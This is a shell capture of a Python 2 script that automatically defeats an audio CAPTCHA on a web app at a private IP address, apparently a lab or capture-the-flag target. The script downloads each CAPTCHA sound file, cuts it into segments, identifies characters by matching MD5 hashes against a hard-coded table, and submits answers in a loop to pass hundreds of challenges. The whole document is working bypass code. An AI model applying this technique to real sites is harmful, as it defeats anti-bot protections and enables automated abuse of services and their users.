CodeSnippet:
context@S314-V7R2-MINT ~/TMP/webapp/captcha $ cat splitter2.py #!/usr/bin/env python import wave import sys import struct import os import time import httplib import urllib2 import urllib import hashlib from random import randint url="http://10.32.128.165" cookies = "" local_filename = "analyze.wav" counter = 5 ############################## Send URL with Data ########################################################### def sendResponse(cookies,count,param): request = urllib2.Request(url+param) request.add_header("Cookie", cookies) opener=urllib2.build_opener(urllib2.HTTPHandler(debuglevel=0)) sock=urllib2.urlopen(request) content=sock.read() sock.close() # print content if count > 4: request_count = content[content.find('name="captcha" /><br><br>')+len('name="captcha" /><br><br>'):content.find(' <input type="submit"')] remote_file = content[content.find('<source src="')+len('<source src="'):content.find('" type="')] urllib.urlretrieve ("http://10.32.128.165/"+remote_file, local_filename) print "Reached "+str(request_count) if int(request_count) > 990: print content ############################## Get to the File ############################################################## request = urllib2.Request(url) sock=urllib2.urlopen(request) cookies=sock.info()['Set-Cookie'] content=sock.read() sock.close() print "First Cookie: " +str(cookies)+" "+str(content) # build for loop here, at a later time :-) sendResponse(cookies,1,"/index.php") sendResponse(cookies,2,"/index.php") sendResponse(cookies,3,"/index.php") sendResponse(cookies,4,"/index.php") sendResponse(cookies,5,"/index.php") print cookies while True: ip = wave.open(local_filename, 'r') info = ip.getparams() frame_list = [] for i in range(ip.getnframes()): sframe = ip.readframes(1) amplitude = struct.unpack('<h', sframe)[0] frame_list.append(amplitude) ip.close() for i in range(0,len(frame_list)): if abs(frame_list[i]) < 25: frame_list[i] = 0 ################################ Find Out most louder portions of the audio file ########################### thresh = 30 output = [] nonzerotemp = [] length = len(frame_list) i = 0 while i < length: zeros = [] while i < length and frame_list[i] == 0: i += 1 zeros.append(0) if len(zeros) != 0 and len(zeros) < thresh: nonzerotemp += zeros elif len(zeros) > thresh: if len(nonzerotemp) > 0 and i < length: output.append(nonzerotemp) nonzerotemp = [] else: nonzerotemp.append(frame_list[i]) i += 1 if len(nonzerotemp) > 0: output.append(nonzerotemp) chunks = [] for j in range(0,len(output)): if len(output[j]) > 3000: chunks.append(output[j]) # Below code generates separate wav files depending on the number of loud voice detected. NEW_RATE = 1 #Change it to > 1 if any amplification is required # Sometimes we've got two hashes for one letter, this seems to happen when the latter appears in the first position md5_table=[ ['65f0e942b400045c62449a8037712d9a', '0'], # Works ['eb0adb153f6f1682a68fcac393afdd67', '0'], # Works ['c38fa643069536a88c15cc98906a0198', '1'], # Works ['6c9bdd133ce111bb6525a2ec3b209225', '1'], # Works ['28f077539a19c25abbea0061dd9d3780', '2'], # Works ['ef263ce2d0cb3522ec2a6460c0285bc0', '3'], # Works ['2b3144262303dfd62e6a416b2aeec8bf', '3'], # Works ['721e764bae5fa444dca01d6e38d7e037', '4'], # Works ['0b960d29b94b799ac73b31f4d1be08f8', '5'], # Works ['5e4e273bcae50c86a071878da9c583ba', '6'], # Works ['b07a747c7ecc1b395ae77d77e8228207', '6'], # Works ['e44c480cf312dc4acece3dc8ed76482d', '7'], # Works ['0354512ef293a02ceef32761beb6fc0c', '7'], # Works ['aea1ef6d6183296f9f868807bab50880', '8'], # Works ['c5bafac98c1a545ed10906bca5e1c5df', '9'], # Works ['40e408300460e7070e9f9dbd779b9a50', 'a'], # Works ['14814360d031a13c30afb1b2132f6cf9', 'b'], # Works ['126031c2cf4876e143e3decb21c60b87', 'c'], # Works ['6c8f6c1f4fd47c3bf1b61a9b4696d318', 'c'], # Works ['72b3d10ae1ffe3948c110f2b7550ba49', 'd'], # Works ['a264998d3fa7e93900df053904e16522', 'e'], # Works ['2df461ea1d2d20accf0af96e63002619', 'f'], # Works ['348cc096c0a6c4969a18b299477a06f4', 'f'], # Works ['', 'g'], ['', 'h'], ['', 'i'], ['', 'j'], ['', 'k'], ['', 'l'], ['', 'm'], ['', 'n'], ['', 'o'], ['', 'p'], ['', 'q'], ['', 'r'], ['', 's'], ['', 't'], ['', 'u'], ['', 'v'], ['', 'w'], ['', 'x'], ['', 'y'], ['', 'z'], ] print '[+] Possibly ',len(chunks),'number of loud voice detected...' sequence = '' errorflag = 0 for i in range(0, len(chunks)): new_frame_rate = info[0]*NEW_RATE # print '[+] Creating No. ',str(i),'file..' split = wave.open('cut_'+str(i)+'.wav', 'w') split.setparams((info[0],info[1],info[2],0,info[4],info[5])) # Add the voice for the first time for frames in chunks[i]: single_frame = struct.pack('<h', frames) split.writeframes(single_frame) split.close()#Close each files # Now that we have single wav files look them up from a map tmp_md5 = hashlib.md5(open('cut_'+str(i)+'.wav', 'rb').read()).hexdigest() try: letter = [y[0] for y in md5_table].index(tmp_md5) # print "Identified Letter " + str(md5_table[letter][1]) sequence+=str(md5_table[letter][1]) except ValueError: print "Unknown sample: " + "cut_"+str(i)+".wav" sequence+="?" errorflag = 1 print "identified sequence: " + str(sequence) if errorflag == 0: counter += 1 sendResponse(cookies,counter,"/index.php?captcha="+str(sequence)) else: print "Please teach me" sys.exit(0)
|